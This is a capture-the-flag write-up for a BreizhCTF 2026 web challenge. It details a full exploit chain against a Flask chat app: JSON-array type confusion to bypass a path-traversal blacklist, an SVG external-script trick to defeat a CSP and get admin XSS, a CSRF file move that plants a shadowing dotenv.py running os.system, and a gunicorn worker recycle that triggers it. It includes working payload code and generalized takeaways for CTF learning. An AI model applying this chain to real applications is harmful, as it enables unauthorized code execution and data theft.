Note
Slip a path-traversal filename past an any(s in filename) blacklist by sending it as a one-element JSON array, planting JS in /static/js/. Load it from an uploaded SVG via <script href> to beat script-src 'self' and get admin XSS, then CSRF /api/admin/files/move to shadow python-dotenv in the app root and trip gunicorn's --max-requests worker recycle for RCE.
No thanks, I use AI — JSON-array traversal → SVG/CSP XSS → dotenv import-shadow RCE
CTF: BreizhCTF 2026 · Category: Web (client + server) · Author: crazycat256 · 5 solves (first blood)
Challenge overview
A Flask chat app (websocket chat, user search, file sharing, link previews) plus a Playwright admin
bot that periodically logs in as admin, opens unread conversations, and dwells ~2s on each. The goal
is RCE on the instance to read a randomly-named, appuser-only flag at /.
Key infrastructure facts (entrypoint.sh):
FLAG_FILE="/flag-$(openssl rand -hex 8).txt"; chown appuser "$FLAG_FILE"; chmod 440 "$FLAG_FILE"
gosu appuser sh -c 'cd /app && gunicorn -k gevent -w 1 -b 0.0.0.0:5000 \
--max-requests 100 ... app:app' & # <-- worker recycles every 100 requests
gosu botuser sh -c 'cd /bot && python bot.py' &
--max-requests 100 means the worker (and thus the whole Python app + its imports) is reloaded every 100
requests — the seed for the RCE. The bot runs as botuser and cannot read the flag; only appuser
(the app) can — so we need code execution inside the app, not just XSS.
CSP applied to every response:
default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline' *;
img-src 'self' data:; connect-src 'self'; frame-src *;
Cookies are HttpOnly + SameSite=Strict, but there are no CSRF tokens — so admin XSS ⇒ we can
forge admin requests.
Step 1 — XSS on the admin bot
Link previews render any URL in a message inside an <iframe src=url> (appendLinkifiedText). So if we
can host a page that executes JS same-origin, DM the bot a link to it and the iframe runs our code.
SVG to carry script under img-src/upload rules
/uploads/<file> only serves the real MIME type for images, else application/octet-stream + nosniff:
mimetype = mimetypes.guess_type(filename)[0]
if not mimetype or not mimetype.startswith("image/"):
mimetype = "application/octet-stream"
response.headers["X-Content-Type-Options"] = "nosniff"
.svg → image/svg+xml (starts with image/), and SVG can carry script. But script-src 'self' blocks
inline script, so use SVG's external-script form (<script href=...>) pointing at a same-origin JS
file:
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script href="/static/js/poc.js%27%5D"></script>
</svg>
Now we need our JS to live at a same-origin path that serves a JS content-type — /uploads/ won't
(octet-stream + nosniff), but /static/js/ will. So we must write into /static/js/.
JSON-array type confusion to bypass the traversal blacklist
Upload validates the filename with a substring blacklist, then resolves with os.path.abspath:
if any(s in filename for s in ("/", "\\", "..", "~")):
return jsonify({"error": "Invalid filename"}), 400
file_path = os.path.abspath(f"uploads/{filename}")
filename comes from JSON with no type check. Send it as a one-element list: any(s in filename ...)
then tests membership in the list (is "/" an element of ["..."]? no) instead of substring in the
string. The check passes, and f"uploads/{filename}" stringifies the list back, leaving a harmless
trailing ']:
s.post(URL + "api/upload", json={
"filename": ["/../../static/js/poc.js"], # blacklist sees a list, not the path
"content": base64_js,
})
# lands at /static/js/poc.js'] (note the trailing ']) -> served with correct JS mime
$ curl 'http://target/static/js/poc.js%27%5D'
alert("woohooo xss");
The SVG's href="/static/js/poc.js%27%5D" (URL-encoded ']) loads it → same-origin JS, CSP satisfied.
DM the bot http://target/uploads/poc.svg; its preview iframe renders the SVG → XSS as admin.
Step 2 — admin XSS → RCE via import shadowing
With admin JS execution and no CSRF protection, drive the admin-only endpoints.
Plan: shadow dotenv in the app root
app.py imports from dotenv import load_dotenv early and barely uses it. If a dotenv.py sits in the
app root (/app), it shadows the real python-dotenv (the script directory is first on
sys.path). On the next worker reload, import dotenv runs our module:
# dotenv.py (planted in /app)
import os
os.system("cat /flag-* > /app/uploads/flag.txt") # app runs as appuser -> can read the flag
def load_dotenv(*a, **k): pass # keep app.py import happy
Getting dotenv.py into /app
The upload traversal can write to /static/js/ but always appends '], so it can't produce a clean
/app/dotenv.py. Instead, upload dotenv.py normally (lands in uploads/), then abuse the admin
/api/admin/files/move, which has no validation on new_filename:
src_path = os.path.abspath(f"uploads/{filename}")
dst_path = os.path.abspath(f"uploads/{new_filename}") # ../dotenv.py -> /app/dotenv.py
shutil.move(src_path, dst_path)
Admin XSS payload to perform the move (same-origin fetch, cookies ride along):
(async () => {
await fetch('/api/admin/files/move', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ filename: 'dotenv.py', newFilename: '../dotenv.py' })
});
})();
Trip the worker recycle
dotenv.py is now at /app/dotenv.py. Fire 100 requests to hit --max-requests 100; gunicorn recycles
the worker, re-imports dotenv, runs our os.system, and drops the flag where we can fetch it:
for _ in range(100): s.get(URL) # force worker reload
# ...
print(s.get(URL + "uploads/flag.txt").text)
Flag: BZHCTF{Dyn4m1cly_typ3d_l4ngu4g3s_4r3_g00d_f0r_s1mpl1c1ty_but_b4d_f0r_s3cur1ty!}
Takeaways (generalized techniques)
- JSON type confusion vs. string filters:
any(x in field ...),field.startswith(...),"..." in fieldall behave differently whenfieldis a list/dict. If input is JSON with no type check, pass a one-element array to make substring checks become membership checks — bypassing path-traversal/character blacklists. The reconstructedf"...{field}"often still yields a usable path (here with a harmless trailing']). - SVG +
script-src 'self': SVG counts as an image (mimetypes.guess_type→image/svg+xml) and can execute script;<script href="/same/origin.js">loads external same-origin JS, sidesteppingscript-src 'self'(which only blocks inline). Land that JS on a path that serves a real JS MIME (/static/...), not anoctet-stream+nosniffupload route. - No CSRF tokens + admin XSS = full admin API access via same-origin
fetch. - Python import shadowing: dropping
<libname>.pyin the app's root dir (first onsys.path) hijacksimport <libname>. Target an early, lightly-used import (e.g.dotenv). - gunicorn
--max-requests Nrecycles the worker every N requests, re-running imports — a reliable trigger to execute a freshly planted module without restarting the service yourself.
Sources & references
- Challenge source:
breizhctf2026/web/no_thanks_i_use_ai - CSP
script-src: https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src - Python module search path: https://docs.python.org/3/tutorial/modules.html#the-module-search-path